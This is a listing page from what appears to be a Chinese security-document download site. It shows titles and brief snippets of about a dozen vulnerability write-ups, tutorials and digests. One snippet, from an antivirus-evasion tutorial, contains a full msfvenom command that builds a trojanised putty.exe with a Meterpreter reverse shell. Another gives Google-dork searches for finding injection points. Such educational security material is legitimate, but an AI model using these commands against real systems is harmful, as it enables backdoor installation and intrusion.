爱豆文档 - 信息安全文档下载平台 - idocdown.com （部分文档，免费下载）

. . . . . .

挖洞经验 | 利用两个僵尸账户实现对任意Instagram账户的远程崩溃

# Instagram僵尸账户远程崩溃漏洞分析报告 ## 漏洞概述本报告详细分析了Instagram平台中存在的一个安全漏洞，该漏洞允许攻击者利用两个特殊的"僵尸账户"实现对任意Instagram账户的远程崩溃攻击。漏洞的核心在于Instagram后端数据库中存在两个用户名构造异常的测试账户，通过特定的API调用序列可触发目标用户的客户端崩溃。 ## 技术背景 ### Instagram用户标识机制 Instagram使用简单的**主键标识符(Primary Key ID, PKID

2025-08-16 09:55:25

从宽字节注入认识PDO的原理和正确使用

# PDO原理与安全使用指南：从宽字节注入到正确配置 ## 前言 PDO（PHP Data Objects）是PHP中最典型的预编译查询方式，被广泛认为是防止SQL注入的最佳实践。然而，不当配置和使用PDO仍可能导致安全漏洞。本文将从宽字节注入入手，深入探讨PDO的工作原理、安全隐患及正确使用方法。 ## PDO基础与安全隐患 ### PDO默认配置的风险 PDO默认配置中存在三个关键设置，与SQL注入防护密切相关： 1. **PDO::ATTR_EMULATE_PREPARES**

2025-08-16 09:54:36

浅谈免杀，使用msf编码器避开杀毒软件的检测（下）

# 深入解析MSF编码器与加壳技术实现免杀攻击 ## 一、隐蔽启动攻击载荷技术 ### 1.1 独立线程启动技术(-k参数) 使用`-k`选项可以让攻击载荷在一个独立线程中启动，不影响宿主程序的正常运行： ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -x /path/to/putty.exe -k -f exe -o putty_backdoor.exe ``` *

2025-08-16 09:53:28

IAST原理分析以及在SDL中的应用

# IAST原理分析及在SDL中的应用教学文档 ## 一、IAST概述 IAST（Interactive Application Security Testing）是一种交互式应用安全测试技术，结合了DAST（动态应用安全测试）和SAST（静态应用安全测试）的优点，能够实现高准确率的漏洞检测。 ### IAST的优势 - 扫描漏洞0误报 - 比传统黑盒扫描更准确 - 能够检测到黑盒扫描难以发现的漏洞类型 ## 二、IAST与黑盒扫描对比 ### 测试案例对比 1. **任意文件写入漏

2025-08-16 09:52:13

【缺陷周话】第56期：ContentProvider URI 注入

# ContentProvider URI 注入安全缺陷分析与防护指南 ## 1. 缺陷概述 ContentProvider URI 注入是Android应用开发中常见的安全漏洞，属于CWE-89类缺陷（SQL命令中特殊元素的不当处理）。该漏洞允许攻击者通过构造恶意URI访问未经授权的数据或执行非预期的操作。 ## 2. 漏洞原理 ### 2.1 ContentProvider工作机制 - ContentProvider是Android四大组件之一，用于不同应用间的数据共享 - 通过UR

2025-08-16 09:51:22

SecWiki周刊（第294期）

# 网络安全技术周刊（第294期）教学文档 ## 一、安全新闻与事件分析 ### 1.1 国际机场挖矿软件感染事件 - **事件概述**：Cyberbit报告某国际机场超过50%的工作站被挖矿软件感染 - **攻击特征**： - 利用弱口令或未修补漏洞横向传播 - 消耗系统资源导致业务系统性能下降 - **防御建议**： - 实施端点检测与响应(EDR)方案 - 定期进行漏洞扫描和补丁管理 - 加强员工安全意识培训 ### 1.2 瞳孔倒影隐私泄露事件 - **技术细节

2025-08-16 09:50:18

国内开源靶场VulnStack发布

# VulnStack开源靶场教学文档 ## 一、VulnStack靶场概述 VulnStack是由红日安全团队打造的国内首个开源靶场知识平台，主要特点包括： 1. **平台定位**：三位一体学习指南（环境工具-学习资源-实战靶场） 2. **技术基础**：基于ATT&CK红队评估设计模式 3. **环境特点**：完全采用国内业务场景（CMS、漏洞管理、域管理等） ## 二、核心功能模块 ### 1. 漏洞列表 - 灵感来源于VulnHub但针对国内优化 - 主要改进： - 虚拟机

2025-08-16 09:49:13

【译栏】微软和NIST合作制定企业漏洞修复指南

# 企业漏洞修复指南：微软与NIST合作项目详解 ## 1. 项目背景与重要性 ### 1.1 项目起源 - **项目名称**：关键网络安全卫生：修复企业项目(Critical Cybersecurity Hygiene: Patching the Enterprise Project) - **启动时间**：2018年 - **直接诱因**：2017年三大勒索软件爆发(WannaCry、NotPetya和Bad Rabbit) - **核心发现**：即使安全更新可用，许多组织仍未能及时安装

2025-08-16 09:48:29

Get型SQL注入思路分享

# Get型SQL注入技术详解 ## 一、寻找注入点 ### 1. Google Hacking技巧使用Google高级搜索语法快速定位潜在注入点： - `intext:` 搜索正文中含有关键词的网页 - 示例：`intext:后台登录` - `intitle:` 搜索标题中含有关键词的网页 - 示例：`intitle:登录` - `inurl:` 搜索URL中含有关键词的网页 - 示例：`inurl:Login` - `site:` 指定搜索站点 - 示例：`site

2025-08-16 09:37:47

专注Web及移动安全[红日安全102期]

# Web及移动安全综合教学文档 ## 一、安全漏洞分析 ### 1. ThinkCMF框架任意内容包含漏洞 - **漏洞描述**：ThinkCMF框架存在文件包含漏洞，攻击者可利用此漏洞包含任意文件 - **利用条件**：需要特定配置环境 - **修复建议**：升级至最新版本，限制文件包含路径 ### 2. CVE-2019-14287 Linux sudo权限绕过 - **漏洞详情**：当sudo配置允许用户以任意用户身份执行命令时，可通过特定参数绕过限制 - **复现步骤**：

2025-08-16 09:36:54

Spring Security OAuth 2.3 Open Redirection（CVE-2019–3778 ）分析复现篇

# Spring Security OAuth 2.3 开放重定向漏洞(CVE-2019-3778)分析与复现 ## 漏洞概述 **漏洞名称**：Spring Security OAuth 开放重定向漏洞 **CVE编号**：CVE-2019-3778 **漏洞类型**：开放重定向 **威胁等级**：中危(Medium) **影响范围**： - Spring Security OAuth 2.3 至 2.3.4 - Spring Security OAuth 2.2 至 2.

2025-08-16 09:35:53

挖洞经验 | 利用竞争条件（Race Condition）对目标Web应用实现RCE

# 利用竞争条件(Race Condition)实现Web应用RCE漏洞分析 ## 1. 漏洞背景本文分析了一个通过组合SQL注入和竞争条件(Race Condition)漏洞，最终实现远程代码执行(RCE)的案例。该漏洞存在于一个Web应用的文件上传功能中，利用上传文件到服务器和服务器转移文件到Amazon S3之间的时间差实现攻击。 ## 2. 竞争条件(Race Condition)原理竞争条件是指计算机系统中由于多个进程或线程无序地访问有限资源而导致的不可预测行为。在本案例中

2025-08-16 09:35:09

跳转到页